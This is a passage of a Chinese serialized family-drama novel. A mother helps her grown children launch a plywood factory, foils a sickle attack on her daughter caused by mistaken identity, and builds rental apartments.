兄妹俩密密斟酌,在没有外力的帮助下,一切都只能靠自己,成长是肉眼可见的迅速。
两天后,他们提交了预算。陶枝看了,在合理的范围内,很爽快地就转给他们,顺便一人写了一张借条。
陶枝一早摆明,只借钱,不投资。为什么不是直接注资?因为前期买设备的钱,已经折算成原始股,给到陶枝和程向前了。如果他俩再注资,程星和程晖,哪里还有议价的余地?
而写借条,天经地义。亲兄弟还明算帐,亲母子也理应如此。
一旦牵扯到钱,再简单的事,也容易变得复杂化。与其之后空口无凭,他人讲你自说自话,不如现在就白纸黑字,正正规规的落到纸上,双方都签上自己的大名。
这样行事,你好我好大家好,往后谁都狡辩不得,省却了多少麻烦事。
如果是不肯写借条的,陶枝只想到一种可能,对方决定是来骗钱的,肯定是不打算还钱的了。遇到这种人,有多远躲多远,毕竟谁的钱都不是大风刮来的。
俗话说:救急不救穷。等到为了追债才翻脸,还不如一早划下道道来。
陶枝一向如此,她对家里人都这样,外人就更不可能破例了。所有人都知道她的原则,反而各个都很自觉遵守。
所以程晖和程星,主动写了借条,签了名按了手印,再交到陶枝的手里。
21. 第 21 章
钱一到账,就要开始干活了。
程星亲和力好,负责跑工商,跑税务,跑消防,还要申请环保的审批。
她在相关部门,为了敲一个章,有时候一等就是一天,深切体会了万事开头难。
在办理各类手续的过程中,她还要兼管人事,财务,和后勤,走起路来都要小跑步。
程晖负责采购和销售,当务之急,他得马上解决原材料供应。于是他频频拜访林业局,木材公司,还有大大小小的木材贩子。
再者,他不似程晙,可以见人说人话,所以亦需急急寻觅销售人才。
在这期间,老头子被陶枝严令禁止,除非儿女开口求教,不然不许提供任何帮助。
两个新兵上路,忙到脚打后脑勺,连续好多天到家都半夜了。
程今和程明澄,久不见妈妈/爸爸,都哭着闹着不肯睡觉,死命睁着大眼睛要等爸妈。
陶枝勒令程晖程星,每天必须回来陪睡。
两兄妹则叫苦不迭,加上程星在管账,每天看着钱不断出去,而又没有一分钱入账,急得嘴里长了几个大燎泡。
陶枝骂他们:“动动猪脑子,别分不清轻重,孩子才是最重要的。小的时候不管,长大了你想教,已经来不及了。”
程晖和程星,唯唯诺诺的,赶紧点头答应。至此,两个小的才被安抚住,家里才不至于鸡飞狗跳。
他们也慢慢发现,当每天按时回家后,仿佛时间也变得经用了,不像刚开始那样手忙脚乱。
证件终于办齐全了,程星开始着手招聘。
这次她就拜托了老爸,带她一起去找村长,因为她之前没出现过,村长肯定不认识她是谁。
而且那个时候,特别是在农村,重男轻女的现象很普遍,就怕程星她自己去了,村里没人愿意卖她的帐。
事先已经电话沟通,村长在办公室等着,还有应聘的村民们,乌泱泱的也聚集在办公室。
东山村的村长周尚民,是一个爱笑的小老头,看起来慈眉善目的。
程向前走南闯北发现,越是不显山不露水的,往往都是最有实力的。
第一次见面交租时,程向前给村长带了烟酒,但被周尚民严词拒绝了。周村长说:“只要你们多提供工作岗位,让我们村民能多赚几块钱,就是解决了我的心头大事啊。”
所以这次,他握着周村长的手,由衷的表示感谢:“多亏了领导的支持,帮我们解决了一大难题。”
周尚民笑呵呵的,“彼此彼此,村民能在家门口上班,也是受益于你们的善心。”
双方打着官腔,你来我往的好不热闹,程向前适时把程星推上前:“村长,这是我小女,以后招工的事,都交给她来管。”
程星今天穿了衬衫长裤,脚上踩着一双回力鞋。她把头发往后梳,扎了一个高马尾,露出莹白的小脸。她本身就长得乖巧,配上一米五八的小个子,看起来没有攻击性。再加上她未语先笑,任谁见到她,都升不起什么戒心。
周尚民上下打量她几眼,就迅速转移视线,没让程星感觉到不舒服。
他对程向前说:“虎父无犬女,这么小都能帮你做事了,程老板你好福气。”
程向前笑着接下了恭维。
程星借用一张办公桌,让村民们排队报名。在村长的坐镇下,大家都很顺从的,一个一个上前来,说明自己的情况,都会做些什么,以及想做的工作,和自己最拿手的技术。
程星如实登记,忽然之间,她感到后脖子一凉,一刹那寒毛直竖,仿若被什么盯上了一样。
她回头,除了桌椅,后面并没有人。她抬头四处扫视,所见到的脸孔,都很朴实无华,让人看不出端倪。
她按捺下不安,专心记录每个人的情况。每人三分钟陈述,也花了近四个小时,她的手都僵到不像自己的了。
登记结束,她站起来和村民们说:“谢谢你们来报名,三天后出录取名单,到时会贴在这个办公室。”
村民们散去之后,约好三天后程星过来,程向前也趁机提出告辞。
回程路上,程星略显烦恼。程向前见状,问她:“怎么了?”
“爸,你刚才看到没,好像有人在盯我。”
程向前警惕心起来了:“这个我真没注意,你看清是谁了吗?”
程星摇头:“我没看到,我就是感觉到了。”
“那你有怀疑的人选吗?”
“我都不记得谁是谁。”
程向前为难:“现场那么多人,这就有点难办了。要不然三天后,让你妈陪你来?”
“我妈忙着带孩子,她不一定有空呢。”
“没事,回去问问她,我们再决定。”
程星的心稍微放下了一些,她问老爸:“我们只需要三十人,可是这里报名的,就有七十多个了。”
“这证明大家都看好你们的厂啊。”程向前难得开了个玩笑。
“一半不到的录取率,到时其他村民,会不会对我们有意见啊?”
“只要你能团结被录取的村民,这种事就没什么好惧怕的。”
“爸,您这么有经验啊?”
“对啊,我们都是乡镇企业。爸爸就等着哪天,你和程晖能超过我呢。”
一说到程晖,程星就发愁:“我这边员工都快入职了,可是程晖还没找到销路呢。”
程向前拍拍她:“不要急,慢慢来,我们可以招一些,有经验的销售人员。”
“我们这个小厂,又没有成绩,厉害的人会愿意来吗?”
“只要你开出足够优渥,别人拒绝不了的条件。”
“我现在恨不得一分钱掰成两分花。”
“星星,节约当然是好,但是作为老板,要懂得笼络人才,这时候花钱是最值得的。”
程星虚心受教。
到家后,程星和陶枝说了她的怀疑,陶枝一听吓一跳,差点按捺不住想叫她别干了。
陶枝会让程星做这行,是因为板厂也有女工,中和了她之前全男班,或者全女班的环境。她一切想让儿女有所改变,而创业,又是其中最能锻炼人的。其实不拘哪个行业,这不是程晖自己选的嘛,程星看起来也有兴致,所以她才一力支持他们折腾。
但程星这个问题,是她疏忽了,只关注了环境,而忽略了人心,这才是最不可控的。
陶枝在想,这个时候,有私人保镖了吗?她决定晚点问问程晙。
她给程星吃定心丸:“三天后
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,我陪你走一趟。”
翌日,陶枝才堵到小儿子。
程晙想了想说:“目前没听说哪有安保公司,应该都是私人性质接的单。”
“那你认识有这方面的人吗?”
“身手还不错的?嗯,妈您也认识。”
“瞎说,我哪有这人脉。”
程晙笑了笑:“闻煦啊。”
陶枝很惊讶:“我真没看出来,他一副弱不禁风的样子。”
“不然您以为,手上要没点功夫,他哪敢单枪匹马去查证?万一被抓到,迟早会被人打死咯。”
陶枝点头:“有道理。”
“您看您也瘦瘦小小的,和闻煦半斤八两。您们哪,都是真人不露相。”
陶枝服了他这张嘴,哄人的话张嘴就来。
“那他愿意干这个吗?”
“要不您自己问问?”
“我上哪问去?”
程晙示意她背后,“哪,说曹操,曹操到。”
陶枝也觉得神奇,每次一提到闻煦,他自己就出现了。
陶枝照例给他冲了杯咖啡,程晙和他打了个招呼,“忙完找我。”
闻煦坐下,说了一句:“他们两个,去沿海地区了。”
陶枝秒懂,“上船了吗?”
闻煦点头:“目的地,毛里求斯。”
“怎么办到的?”
“那个男人的发小,从南洋带回来,用三年的工资,给家里盖了一栋楼房。”
“真有其人?”
“真的,剧本我们提供,那发小收钱办事。”
陶枝笑了:“收了多少中介费?”
“两个人,八万。”
陶枝喟叹,狠还是他们狠,是看着金额下套的吧,一口气吃了五分之四身家。
“如果您不满意,还可以送他们去更落后的国家。”
陶枝摆手:“够了,够了,我们不要做太绝,为子孙后代积点福德。”
陶枝总算放下心来。隔着万里之遥,覃厉敏再怎么造作,也影响不到程晖和程明澄了。
至于她和她的情夫,在遥远国度过得如何,就看他们自己的造化了。
她把尾款给闻煦结清,猜也知道,这单他铁定赚了不老少。当保镖不合适,陶枝就问他:“你认识会拳脚功夫的女孩子吗?”
闻煦双眼锃亮:“阿姨,您又有生意?”
陶枝很意外:“你当真认识?”
“我表妹,她不爱读书,天天上蹿下跳的,家里管不住她了,我姑就送她去体校学武。”
“学得怎么样?”
“她练的咏春拳,我对上她没胜算。”
“那她现在在做什么?”
“还在学校混日子呢。”
“还是学生啊?”陶枝有点遗憾。
“没有,她早毕业了,现在回校帮教练带娃娃。”
“那她有空吗?我想请她当程星,也就是程晙他姐的贴身秘书。”
闻煦一口应下:“没问题,明天我就带她来见您。”
陶枝也没想到,事情会这么顺利。现在她就希望,程晖和程星,稳稳当当的,保证人身安全之余,别出什么幺蛾子,好让她能专心忙自己的事去。
22. 第 22 章
陶枝第二天就见到了梁静宜。
一个外表与名字不相符的女孩子。
她很高挑,足有一米七高,陶枝得仰着头去看她。
她劲瘦,结实,有力,线条十分漂亮。
可是脸上却挂着婴儿肥,笑起来眼睛会眯成一条缝。
陶枝一眼就喜欢上这个可爱的女孩子。
“妹妹仔,你多大了?”
“阿姨好,我今年二十了。”
年纪这么小,陶枝不忍心,她把目光投向闻煦。
梁静宜看出来了,她连忙毛遂自荐:“阿姨,我是自愿的,我爸妈也同意了。”
“你清楚工作内容吗?”
“知道,我哥说了,学校练的是套路,在外练的才是实战。”
陶枝失笑:“没有那么唬人。工作其实很简单,你跟着程星姐,平时一起出入,有危险就避开,不需要去卖命。”
梁静宜一脸自信,“那就更没问题了,逃跑我最有经验了。”
小姑娘打动了陶枝,在闻煦的见证下,和她签订了劳动合同。
梁静宜张大嘴:“这么正式啊?”
闻煦点点她:“都是为了你好。”
她拱手:“多谢大哥,多谢阿姨。”
梁静宜要回家收拾衣物,约好明天再走马上任,她的卧室就安排在程星隔壁。
程星不会开摩托,当程晙没空的时候,她就自己骑自行车来回。
因此这几天,她变成最晚到家的那一个。
陶枝萌发了再买一辆车的念头。她问程晖和程星:“你们俩去考个驾照?”
程星答:“程晖去吧,他自由一点。”
程晖也说:“程星先去,我最近没时间。”
程星说:“哥你会开摩托,你有基础,肯定学得比我快。”
程晙则说:“我最近经常喝酒,可不敢上手摸方向盘。”
陶枝打断他们:“停,打住,你们先学,不用你们开。”
两人同时舒了一口气。
陶枝算看出来了,这两个胆小鬼,都不敢开车上路。得,她老太太去学,没人开就她来开。
说干就干,第二天陶枝就去报名了。
程晙知道了,对她好一通夸赞:“妈,您真棒,比我哥我姐强多了,儿子为您感到骄傲。”
“去去去,等我考下来再说。”
程晙继续彩虹屁:“等您学出来,您就是咱家第一个女司机。”
陶枝想起地府新来的姐妹,都七十岁了,还和老伴自驾旅游呢。她现在才五十,有大把的时间,于是她问:“要不要叫你爸也学?”
程晙疯狂同意:“趁着我爸还能报名,赶紧的,您俩一起结伴赶时髦。”
陶枝也这么认为,她征求了老头子的意见后,也给程向前报名了。
学习不是一朝一夕的事,更何况学车这玩意儿,必须得投入时间和金钱。
但是买车又迫在眉睫,就算有了梁静宜陪伴,就两个年轻的女孩子,又没什么阅历和经验,就骑个自行车上下班,就当前的治安来看,陶枝想想都觉得心不安。
她问梁静宜:“妹妹,你会开车吗?”
“阿姨,对不起,我不会。”
“没关系,阿姨随口一问,不需要有压力。”
那边程星在叫:“妈,我们要出发了。”
陶枝忘了约车,临时招了辆面的,陪着她俩去东山村。
车里的味道一言难尽,下车后,三人都蔫得像咸菜干。
陶枝第一次到村里,看到四处座落的小二层,心想这村长可真不赖。
再好的风景,也挡不住恶臭,她闻到身上散发的味道,叫程星赶紧把事办了,她就站在大门口等着。
陆陆续续的,有人开始进出村公所。
忽然之间,一个腰间别着镰刀的小平头,引起了她的注意。
那是一个瘦削的年轻人,他混在众人当中,看起来一点也不起眼。但是他恶狠狠的眼神,却是直直盯着程星的方向。
陶枝咯噔一下,转身连忙跟上,紧紧坠在他的身后,跟着一起进了办公室。
大家都往光荣墙的方向靠近。上一拨人看完了,自动让开,给后面的人腾位置。
陶枝在人群中,其实挺显眼的。不过显然,大家的心思都在名单上,此刻没有谁会关注她。
程星张贴完了,转身准备退出去,就在这时,小平头拔出镰刀,径直往程星身上划去。
梁静宜瞄到他的动作,她迅速挡在程星的面前,准备硬接小平头这一下。
说时迟那时快,陶枝一个箭步上前,直接捏住了平头的手,并且使劲往回拉扯,那镰刀又没长眼,反而割到了小平头,溅出了几滴血。
小平头吃痛,手上一松,陶枝顺势把镰刀捏在手里。
旁人还没反应过来,转眼之间就结束了。有胆小的,看到地上的血,吓得尖叫连连。很快,中间就空出来一片,只有小平头和陶枝在里面。
周尚民被声音引过来了,看到陶枝握着滴血的镰刀,和平头血肉模糊的伤口,他厉声问:“怎么回事?”
有村民回答:“我们也不知道,是东子掏的家伙。他好像要动手的样子,这个大妹子把他给拦了。”他边说边指向陶枝。
程星在一旁,腿脚发软,靠在小梁身上,一看就吓得不轻。这时,她颤抖着声音开口:“村长,这个人,是冲我来的。”
众人哗然,议论纷纷的,这小程才第二次进村,东子和她什么仇什么怨?
周尚民叫人,给东子简单包一下,再让人去喊赤脚医生,顺便去找找东子妈。这见血的事,可大可小,家属和医生在场会比较好。
东子的伤口挺深的,地上都流了一滩的血,他也不敢随便乱动。
周村长把村民请出去,再让村干部在外守着。他关上门,大刀阔斧地坐下,第一个就问东子:“你来说说,你和小程之间,有什么深仇大恨?”
东子低着头,按着伤口,半天不吭声。
周村长转而问程星:“小程,你认识他吗?”
程星苍白着脸,仔细看了看东子,“不认识。”
“你放狗屁。”东子恨声道。
陶枝直接过去给他一记耳光。
周尚民一下子站了起来,“大妹子,你这是做什么?”
陶枝甩甩手:“教他做人。”她盯着东子:“如果你不会说话,我可以帮你洗洗嘴。”
“大妹子,你不要过分了。”
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陶枝看向他:“村长,有人当着我的面,想要伤害我的女儿,我没有办法不愤怒,请您体谅一个母亲的心情。”
“你是小程的妈妈?”
陶枝和程星同时点了点头。
周尚民坐下了,他此时也觉得理亏。
“那这位呢?”他指着小梁问。
“这是我的助理。”程星回答。
“你们都确定,之前没见过东子?”
陶枝很肯定:“确实没见过。”
东子嘟嘟囔囔的,想说些什么,迫于陶枝的威势,没有把话说出口。
周尚民一脚踹向他:“说大声点。”
东子咚一声滚落在地,吓了陶枝她们一跳。
东子压到伤口,痛得他发晕,他不敢再犟了,定了定神,正准备开口说话。
这时,门口扑进来一个人,他妈连滚带爬的,看到他腿上的布都沁出血了,啊呜一声抱着他哭了起来。一边哭一边骂:“哪个杀千刀的,这么狠的心,这是想要你的命吗?”
东子涨红了脸,一句话都说不出来。
周尚民喝道:“赵红梅,你消停点,再哭立马给我滚出去。”
赵红梅这才停下哭嚎,抬头一眼就锁住了程星。她的力气顿时恢复了,爬起来就想冲过去:“你个贱蹄子,跑来我们村想干什么?”
陶枝第一时间拦住她:“颠婆,你有病啊,见人就吠?”
周尚民狐疑的眼神,在他们之间来回转动。
赵红梅想推开她:“你谁啊?好狗不挡道。”
陶枝嗤笑一声:“你认识她,却不认识我?”
“你算老几,我凭啥要认识你?”
周尚民算听出来了,这是单方面结的仇,没看小程她们现在还是懵的。
他指使村干部拉住赵红梅,“如果你再撒泼,我就派东子去挖渠。”
看到周村长发火了,这对母子才安分下来。
周尚民紧盯赵红梅:“她是你谁?”
“我外甥媳妇。”
程星豁然想起,这是赵钧的姑姑和表弟,就结婚时见过,都这么久了,她能记得才怪。
她把这个事和陶枝一说,周村长在旁边也听到了,他觉得很不可思议,“你对你的外甥媳妇喊打喊杀?”
赵红梅气狠狠地说:“她骗光了我外甥的钱,还把他的工作闹没了。现在我嫂子吃饭都成问题,我想着吓她一下,好让她乖乖把钱吐出来。”
陶枝想一脚踹翻她,可惜村干部挡在面前,告诫她说:“不可动用私刑。”
陶枝很生气:“我女儿都离婚了,还遭这无妄之灾,我不得讨点公道回来?”
赵红梅也生气:“离婚?你们都没领证,离的哪门子婚?”
东子也插嘴:“我哥说了,都还没摆酒呢,你一拿到钱就跑了。”
程星缓过神来,自己站直了,她越听越不对劲:“我叫什么名字?”
“你别以为我不知道,你叫陈晓燕,你和小钧是初中同学。”
陶枝气炸了,她忍不了一点,闪身绕过村干部,直接一人给了一脚。
“睁大你们的狗眼看看,这是程星,赵钧正儿八经离了婚的前妻。”
东子震惊的瞪大了眼睛。
23. 第 23 章
赵红梅像被雷劈了一样,难以置信地望向程星的脸。
怀疑的种子一旦种下,就会生根发芽,然后长成参天大树。她越看心里就越慌,感觉天都要塌下来了。
周尚民拿着烟的手,抖得像秋风中的落叶,纯粹就是被气的。
要是因为这两个蠢货,把村里的三十个工人名额给搅没了,周尚民生撕了他们的心都有。
再者,断人钱财如杀人父母,那些报名的家庭要是知道了,恐怕用唾沫星子都能淹死这母子俩。本来有机会当工人的,可以改善家里的生活,如果还得回地里刨食,他都不敢想村民们的反应。
周尚民当机立断,他虎着一张脸,从牙缝里逼出几个字:“报警,马上去报警。”
村干部小跑着出去打电话。
说实话,周尚民也不想的,家丑不外扬,他也希望能内部解决。但是看陶枝那架势,要是他不先找警察来,等到陶枝自己去报警,那这事就更不容易翻篇了。
赵红梅还想过去拦,被民兵连长钳住胳膊,双脚不停在地上划拉,但怎么也没法前进一步。
她哭着闹着,大声喊道:“不能报警,村长,不能报警啊。”
周尚民没理,他转个身面向陶枝,陪了个大大的笑脸说:“大妹子,你放心,对于这种不分青红皂白,一上来就要伤人的行为,我向你保证,我们村绝不会姑息,一定会还你们一个公道。”
大家都是人精,周村长一动,陶枝就知道他想要什么,但她的面上不显。
这个时候,一个头发花白的老头子,背着个竹编的筐子,跌跌撞撞地走进来了。
陶枝很怕他下一秒就要倒地。
赵红梅一看到他,立马停止了撒泼,她现在真心实意的,眼泪鼻涕一起流,她苦苦的哀求道:“八叔,你帮看看东子吧,他被人划了一刀,流了一地的血啊。”
陶枝看了一眼,东子早就止血了,就是地上和身上,沾了一些血迹,看起来有点吓人。早在镰刀割到东子的时候,陶枝就已经控制了力道。
她挡在东子面前,冷冷笑道:“容我提醒你一句,这是他自己划的,你别想把屎盆子扣到别人头上。”
赵红梅快气疯了:“你走开,别挡着八叔治疗。”
“想给他治伤?可以,先过我这一关。”
“你到底想干什么?”
“很简单,回答我几个问题,老老实实的,别骗人就行。”
周尚民想说:“人命关天......”被陶枝一个眼神刹住了。
赵红梅气疯了:“我儿子还躺在地上呢,有什么话不能等会再说?”
陶枝的声音沉下来了:“如果不是我机警,说不定现在躺着的,就是我的女儿了。”
陶枝的目光如刀,像淬了冰一样的,赵红梅不禁打了个寒颤。
“你......你......你要问什么?”
陶枝指了指东子,“他拿着镰刀,是想干什么?”
赵红梅不耐烦:“你不是看到了吗?就想给人一点教训。”
“什么程度的教训?”
“这我哪里知道?”
陶枝点点头:“也对。”她转身,一脚踢向东子,东子“啊”地一声惨叫。
赵红梅睚眦欲裂:“你干什么?”她不知从哪儿迸出一股神力,一下挣脱了民兵队长的控制。
她扑到东子的身边,上下查看东子的身体,看有没哪里受伤。
陶枝居高临下:“既然你不知道,那我只能问知道的人了。”
“赵钧说,划伤贱人的脸。”赵红梅老实回答。她开始后怕,陶枝就是个心狠手辣的。
陶枝蹲下来,注视着她的眼睛:“赵钧给了你们多少好处?”
“他积蓄的一半。”
“哦~那是多少钱?”
赵红梅左右看看,压根没人来救她,她咬咬牙:“一万五。”
倒吸凉气的声音此起披伏,就连村干部也震惊了。一万五千块,在农村,这笔钱起码得存十年,这还是家里有工人的情况下。
一万五千块,都能盖一栋楼房了。可以这么说,谁要是有了这笔钱,在村里都能横着走了,怪不得东子愿意铤而走险。
陶枝接着问:“拿到钱了吗?”
赵红梅疯狂摇头:“没有,没有。”
“没钱你还这么卖力?”
“那钱都在陈小艳身上,只要一找到她,钱就能拿到了。”
陶枝哂笑:“你们打算怎么拿?”
“赵钧说了,女人嘛,收拾一顿就老实了。到时她脸都花了,哪里还敢到处跑?”
“最后一个问题,你们当真认错人了?”
程星逆着光,站在了窗边。阳光撒在她身上,像给她披上一层光辉,看起来格外的明亮照人。
赵红梅猛点头:“真不怪我们认错。赵钧一直说,程星瘦得像根竹竿,脸上身上没二两肉,整个人看起来苦哈哈的。陈小艳就不一样了,脸上又白又亮,不胖也不瘦,身材倒是一看就很有福气。”
陶枝回想了下,程星离婚前后,确实判若两人。
“就凭这点,你们就能认错人?”
“赵钧说,陈小艳烫卷发,爱戴小夹子,喜欢穿喇叭裤和小皮鞋,我一看,这不都对上了。而且看着也面熟,这不就认错了?”赵红梅还觉得伤心呢,眼看到手的钱都飞了。
程星一听这话,立马把鞋子脱下来,一脚给踢到角落里去。
陶枝现在相信了,就他们这智商,认错人也不为过。
她站起来,松了松手,示意八叔可以给东子检查了。
陶枝走去墙角,把鞋子给捡起来,递给程星:“时髦的人都这么穿,她没见过世面,你在市里还看不到吗?”
程星一想,也对。她接过鞋子,擦擦脚又穿上了。
陶枝状似无意,她闲闲地说:“赵钧那么聪明,怎么会被骗呢?”
赵红梅一听,夸她外甥呢,她放下了戒心,恶狠狠地说:“陈小艳这个贱人,借着结婚的名义,要这要那的,市里没有的,还要跑隔壁市去买。小钧也是傻,人家一叫他,他就乖乖去做,一听说礼服好了,他巴巴地坐车去拿。结果一回到家,家里什么都空了,就留了一张床架子。”
陶枝好歹没笑出来,她清咳两声问:“万一是小偷偷的呢?”
赵红梅“呸”了一声:“那些邻居都说了,亲眼看到陈小艳找人来搬
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的家。她亲口说准备结婚了,要搬到对象的家里去住。”
戴人绿帽者,恒被人戴绿帽。陶枝只是没想到,报应来得这么快。她憋笑憋得有点辛苦,只好转过身去捂着嘴偷笑。
有八叔在,赵红梅就放心了。她聊到兴头上,八卦的心一起,就管不住那张嘴。
她问程星:“小钧为什么要和你离婚?”
陶枝对程星摇头,她自己迅速接话:“当时程星上班,工资很少,都不够生活费。”
赵红梅恍然大悟:“怪不得你那时候这么瘦。”
她突然转了话题:“会不会是你克小钧呀?他说离了婚之后,财运就开始好转了。”
陶枝赞同她:“有这个可能。那赵钧有没有说,他是怎么发的财?”
赵红梅眉飞色舞的:“小钧被提拔当大车司机了,一个月工资加外快,拿到手的能有一两千呢。”
陶枝嗤笑,赵钧会开车?她怎么不信呢。赵钧要是有钱学车,她能把自己的脑袋摘下来当球踢。这钱呀说不定,就是卖程星的嫁妆得来的。
“可你刚才说,他都没钱吃饭了?”
赵红梅破口大骂,“还不是那个贱女人,寄了一封举报信,说小钧威迫利诱她,欺负她这个有夫之妇。厂里一查,她真的没离婚,小钧又和她同居了,当时很多人都知道。这事瞒不住了,厂里就把小钧扭去派出所,他的工作也就没有保住。这个蛇蝎心肠的女人,你说她是不是该死?”
陶枝在心里乐不可支,不过她不好表现出来,只好不停地附和:“是是是,你说得对。”
接下来赵红梅说什么,陶枝已经不在意了。
东子的伤口需要专业包扎,已经被人送去卫生所了。民警到的时候,把赵红梅带上,然后再去接东子。
陶枝和程星作为当事人,还有周尚民和民兵队长,也得一起去趟派出所。
村里有一台三侉子摩托车,周村长提议和陶枝一过去。
看在周尚民没有包庇东子的份上,陶枝也很爽快地答应了周村长,主要是她受够了那面包车。
做完笔录,周村长问陶枝:“大妹子,要不要送你们回家?”
这已经在市里,回家就很方便了,陶枝遂摆手拒绝。
周村长搓搓手,有点不好意思:“那招工名额?”
陶枝把程星推上前:“这你得问我女儿。”
程星沉吟半晌,才开口说道:“村长,照旧吧。”
周村长的心,刚才一直吊着,闻言大喜:“诶,诶,谢谢你啊小程。你放心,我一定帮你管好这些村民,保证他们好好干活,绝对不敢偷奸耍滑,也没有人敢使绊子。”
程星的小脸泛起红晕:“那就谢谢村长了。”
其实,刚才陶枝就交代了,让程星照样招收村民。她说:“这是收买人心的好机会,千万千万不要错过了。”
而且,得知了赵钧的下场,陶枝开心得,都不追究东子的责任了。更何况是,无故惹了一身骚的周村长,和那些无辜的村民们。
陶枝看出村长的不自在,一看就很少和小姑娘打交道。她说:“我们先回去了,村长你们慢走。”说完她大步流星走开了,程星和小梁赶紧跟上去。
24. 第 24 章
程晖的腿都跑细了,都没接到一个订单。
不但程晖急,程星也急,因为没有订单,就没办法开工。
她也开始广撒网,还去找以前的同事,街坊邻居等,到处搜罗销售人才。
但是因为厂里没开工,看起来很是荒凉颓败,有些人到了门口就走了。
出师不利,兄妹俩都挺受打击的。
这时,陶枝拿着一份建筑图纸,给他们下了第一个订单。
程向楣打包票,给她介绍的团队,建造,设计,装修,皆是一流。
陶枝和他们接触之后,“听得懂人话”这一点,就让她甚是满意。她把自己的诉求说了,要求对方先出设计图,如果陶枝满意,那就再谈合作的事。
事实证明,陶枝很满意,她和包工头商议过后,打算把三百平都建成租房,因此下了两千立方米的模板。
陶枝买地的时候,确实是打算建三栋楼,她和老头子,程星,程曼,各一栋。儿子就住远一点,远香近臭,免得和儿媳闹矛盾。
但是现在租了别墅后,她发现自己很喜欢花园。这三块地皮,都靠近路边,而且面积不大,做商铺可以,搞花园不太可能,所以她就改变主意了。
她把自己的想法一说,两个女儿都没意见,所以干脆三百平全部建租房算了。
程晖拿到这个数据,以为老妈多写一个零。他去问陶女士,陶枝说:“没错,就是这个数。”
胶合板厂终于轰隆隆地开工了。
由于和陶枝合作愉快,加上模板的质量也好,包工头也给程晖介绍了几单生意。
正好,老家的人也想进城,之前是没条件,现在厂里有地方住,程向前也带了亲朋来,基本都安在销售岗。还真别说,大家都憋着一股劲,想在城里站稳脚跟,反而给程晖补充了人才。
看着板厂顺顺利利的,陶枝也就抛开不管了。
这期间,因为上次东子的事,回来陶枝就去买了车。程晙怂恿她买桑塔纳,陶枝没听,转手就买了辆奥拓,关键在于价格。
司机的事,程晙帮忙解决了。之前去赵家村,路上遇到的那个男孩子,原来真来投奔了程晙。他现在专门学习汽修,偶尔给人当一下司机,陶女士有需要,程晙就把他调过来了。
陶枝还记得他,这个叫赵子浩的,是个聪慧的孩子。既然是他来当司机,陶枝干脆在一楼,也给他收拾了一间房。
这些事都解决了,陶枝安心投入到建房当中去。她和设计师说了,要建公寓式的套房,每套房都独门独户,而且必须配备:阳台,厨房,和洗手间。
设计师很不理解,这样一来,每层楼起码少了三套房,那收的租金不就少了吗?
陶枝很强势,出钱的是大爷,设计师不得不听从。
等到最终稿一出来,设计师自己都眼前一亮。实在是,麻雀虽小,五脏俱全,房子看起来太舒服了。什么都齐全了,把房门一关,谁都不用搭理,乐得享清净。
一楼设计做商铺,设计师建议陶枝,把楼梯设在房子背后,被她给严词拒绝了。后面是条小巷子,她觉得女孩子晚上回来,走后面的路会不安全。正面是大马路,整夜路灯通明,所以她果断在最左边,留出2.5米的宽度,直接用来修建楼梯间。
本来陶枝是想,把楼梯开在中间的,但是把商铺一分为二,是怎么看怎么难看,她不得已舍弃了这个方案。
总而言之,设计师既高兴又痛苦。高兴的是,陶枝有很多新点子,给了她很多的灵感,她时常感到眼前一亮。痛苦的是,只要是陶枝想做的,在问过包工头之后,只要是能实现的,陶枝是一公分都不肯让,她就没见过这么难搞的人。
磨了三个月才定稿,设计师终于松了一口气。
从打地基开始,陶枝就相当于驻扎在工地了。每天都早早的来,工人收工了她才走。
包工头劝她:“有图纸呢,我们都严格按着上面的做。”
陶枝很疑惑:“难道你们不需要监工?”
包工头被噎了回去。
这钱就哗啦哗啦,如流水一般出去。陶枝的要求高,预算是一超再超,幸亏有老头子挣钱,才能支撑陶枝这样花。
最近陶枝一心扑在房子,就没那么多时间,天天带着小程今去溜了。一家子都各有各忙,家里就剩李阿姨带娃,陶枝就在家附近的饭馆,包了餐让他们定时送上门。
幼儿园离工地不远,陶枝就负责接程明澄,接着回去住家附近,和李阿姨程今碰面,就会到咖啡厅坐下,喝喝茶吃些糕点。
程今看到表哥,大口吃着蛋糕,她自己没得吃,就开始掉金豆豆。她就默默的,也不哭出声音。
不是陶枝狠心,而是小孩子,三岁前都不好吃甜食,这点她执行得很彻底。
但是宝宝掉眼泪,她看到也心疼死,赶紧出去买个包子,回来把包子皮撕下来,一点一点喂小程今。
宝宝很好哄,嘴里一有吃的,马上就笑了起来。
陶枝摸着她的小啾啾,岁月静好,不外如是。
当她抬起眼,看到程曼从玻璃门外经过,蹭一下站了起来。
这小孩,不上课,跑到这里来干什么?
陶枝叫李阿姨看着孩子,她追出去看看怎么回事。
她在转角见到程曼的身影,她正准备过去,却发现了不对劲的地方。
程曼是直直向前走的,但好像被人给拦住了。因为角度的关系,陶枝看不见那人。
只见程曼很生气,铁青着脸,正在说着些什么。蓦地,一只手伸了出来,想去拉程曼的手。
程曼往后退两步,把手背到了身后,看情形像骂了句脏话,她转过身便往回走。
那个人跟着她走,陶枝终于看清了,一个瘦削的男孩子,长得平头正脸的,但就是染一头黄毛,还一副吊儿郎当的模样,看起来让人很不喜。
陶枝的脑海里,突然涌现出程曼被骗时的样子。她是那么的伤心,和那样的绝望,却换不来对方的一丝怜悯,只得到了无情的嘲笑,和冷冰冰的嗤之以鼻。
看黄毛还想搂程曼的肩,陶枝出声了:“曼曼。”
程曼本来低头赶路,一听到熟悉的声音,抬头一看,十分惊喜:“妈。”
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>黄毛本来一听到“妈”,想立马转身走开的,但是在看到陶枝的着装后,心里的不屑占据了上风,于是他也跟了过来,挑衅地说::“程曼,这就是你妈啊?”
陶枝没忽略那抹轻蔑的目光,她扫视了自己的衣服,刚从工地出来,溅了一身的泥浆和灰尘,很像是卖苦力的民工啊。这么一看,这家咖啡店很可以,不会狗眼看人低,她决定以后要多多光顾。
程曼才不关注这些,只要老妈在身边,她的底气就很足:“关你屁事。”
黄毛嘴角勾起一抹笑,自以为很帅气的说:“阿姨好,我是程曼的男朋友。”
“放屁,你别信口雌黄。”
黄毛嬉皮笑脸:“你都收了我的定情物,现在翻脸不认账,是不是有点晚了?”
程曼皱眉:“你别乱说,我没收过你任何东西。”
黄毛沉下脸:“我亲眼看到你把项链收进抽屉的。”
程曼回想半天,她对着陶枝说:“妈,我没有。”
陶枝很淡定:“我信你。”
黄毛在一旁嗤笑:“阿姨你信她有什么用,她见钱眼开又不会告诉你。”
“反正我没拿过,如果你丢了东西,你大可以报警。但是你想就此逼迫我,我告诉你,门都没有。”
